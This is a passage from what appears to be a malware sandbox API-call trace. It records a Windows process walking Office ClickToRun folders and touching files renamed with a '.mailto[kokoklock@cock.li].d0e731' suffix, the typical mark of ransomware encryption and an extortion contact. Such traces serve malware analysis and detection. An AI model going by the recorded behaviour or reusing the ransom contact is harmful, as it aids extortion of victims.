users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.800] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.800] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.801] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92f28) returned 1 [0174.801] RtlExitUserThread (Status=0x0) Thread: id = 2280 os_tid = 0x2d0 [0174.802] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.802] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faba08) returned 1 [0174.802] RtlExitUserThread (Status=0x0) Thread: id = 2281 os_tid = 0xb48 [0174.803] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.804] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.804] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.804] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.804] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabb68) returned 1 [0174.805] RtlExitUserThread (Status=0x0) Thread: id = 2282 os_tid = 0x320 [0174.806] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.806] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.807] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabca8) returned 1 [0174.807] RtlExitUserThread (Status=0x0) Thread: id = 2283 os_tid = 0x394 [0174.808] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.808] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.808] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.808] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.808] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045d98) returned 1 [0174.808] RtlExitUserThread (Status=0x0) Thread: id = 2284 os_tid = 0x3d8 [0174.809] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.810] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.810] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.810] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabe00) returned 1 [0174.810] RtlExitUserThread (Status=0x0) Thread: id = 2285 os_tid = 0x3f4 [0174.811] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.812] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.812] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.812] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.812] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabf40) returned 1 [0174.812] RtlExitUserThread (Status=0x0) Thread: id = 2286 os_tid = 0x12c [0174.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.813] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.813] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.813] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b880) returned 1 [0174.814] RtlExitUserThread (Status=0x0) Thread: id = 2287 os_tid = 0xdc4 [0174.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.815] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.815] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.815] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045c60) returned 1 [0174.815] RtlExitUserThread (Status=0x0) Thread: id = 2288 os_tid = 0xdd0 [0174.816] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.817] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.817] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.817] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b9c0) returned 1 [0174.818] RtlExitUserThread (Status=0x0) Thread: id = 2289 os_tid = 0xdf0 [0174.822] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.822] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.823] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.823] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bb20) returned 1 [0174.823] RtlExitUserThread (Status=0x0) Thread: id = 2290 os_tid = 0xddc [0174.824] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.825] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.825] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.825] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.825] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bc60) returned 1 [0174.825] RtlExitUserThread (Status=0x0) Thread: id = 2291 os_tid = 0xde4 [0174.826] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.827] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.827] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.827] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bdb0) returned 1 [0174.827] RtlExitUserThread (Status=0x0) Thread: id = 2292 os_tid = 0xde8 [0174.829] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x4f0b778 [0174.829] wcscpy (in: _Dest=0x4f0b778, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0174.829] wcscat (in: _Dest=0x4f0b778, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\" [0174.829] wcscat (in: _Dest=0x4f0b778, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*" [0174.829] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.829] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.831] wcscmp (_String1=".", _String2=".") returned 0 [0174.831] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.831] wcscmp (_String1="..", _String2=".") returned 1 [0174.831] wcscmp (_String1="..", _String2="..") returned 0 [0174.831] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0174.831] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0174.831] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0174.831] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff15f8 [0174.831] wcscpy (in: _Dest=0x2ff15f8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0174.831] wcscat (in: _Dest=0x2ff15f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\" [0174.831] wcscat (in: _Dest=0x2ff15f8, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0175.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, 